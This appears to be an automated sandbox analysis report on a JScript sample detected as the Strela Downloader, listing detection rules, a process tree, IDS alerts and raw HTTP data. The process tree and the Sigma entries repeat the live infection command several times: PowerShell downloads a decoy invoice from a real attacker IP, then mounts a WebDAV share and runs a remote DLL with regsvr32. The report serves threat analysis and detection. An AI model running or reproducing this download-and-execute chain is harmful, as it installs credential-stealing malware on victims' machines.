Edit tour

Windows Analysis Report
9839206391373229960.js

Overview

General Information

Sample name:	9839206391373229960.js
Analysis ID:	1588898
MD5:	2092f7d4cff397bc3c0cdcdc9156b38f
SHA1:	a2ee8aa44df8ecaf77256e04cd38bbc260da4415
SHA256:	868d37ece2bd18355c0cb03a7c9d98c2c5f29b2764611aa464780410cf0b8afd
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4100 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9839206391373229960.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7212 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7268 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7460 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7676 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7964 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1528,i,6318482331063142513,4532046159025709797,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7476 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7584 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7744 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4100	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7212, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7268, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7212, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7268, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9839206391373229960.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9839206391373229960.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9839206391373229960.js", ProcessId: 4100, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7584, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49700

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9839206391373229960.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4100, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, ProcessId: 7212, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9839206391373229960.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4100, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, ProcessId: 7212, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9839206391373229960.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4100, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, ProcessId: 7212, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9839206391373229960.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4100, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, ProcessId: 7212, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9839206391373229960.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4100, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, ProcessId: 7212, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9839206391373229960.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4100, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, ProcessId: 7212, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9839206391373229960.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9839206391373229960.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9839206391373229960.js", ProcessId: 4100, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7212, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7268, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7476, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7584, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7744, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7476, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7584, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9839206391373229960.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4100, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll, ProcessId: 7212, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:53:49.523577+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:53:52.375807+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:53:49.523577+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 9839206391373229960.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 9839206391373229960.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49700 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49699 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:53:49 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 